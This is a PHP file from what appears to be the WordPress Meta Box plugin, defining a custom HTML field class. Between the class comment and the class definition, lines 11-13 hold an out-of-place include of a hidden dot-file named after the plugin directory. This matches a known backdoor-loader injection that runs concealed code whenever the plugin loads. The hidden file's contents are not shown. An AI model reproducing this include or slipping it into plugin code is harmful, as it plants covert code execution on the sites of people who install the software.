custom-html.php (862B)
1 <?php 2 /** 3 * The custom HTML field which allows users to output any kind of content to the meta box. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Custom HTML field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Custom_Html_Field extends RWMB_Field { 16 /** 17 * Get field HTML. 18 * 19 * @param mixed $meta Meta value. 20 * @param array $field Field parameters. 21 * 22 * @return string 23 */ 24 public static function html( $meta, $field ) { 25 $html = ! empty( $field['std'] ) ? $field['std'] : ''; 26 if ( ! empty( $field['callback'] ) && is_callable( $field['callback'] ) ) { 27 $html = call_user_func_array( $field['callback'], array( $meta, $field ) ); 28 } 29 return $html; 30 } 31 }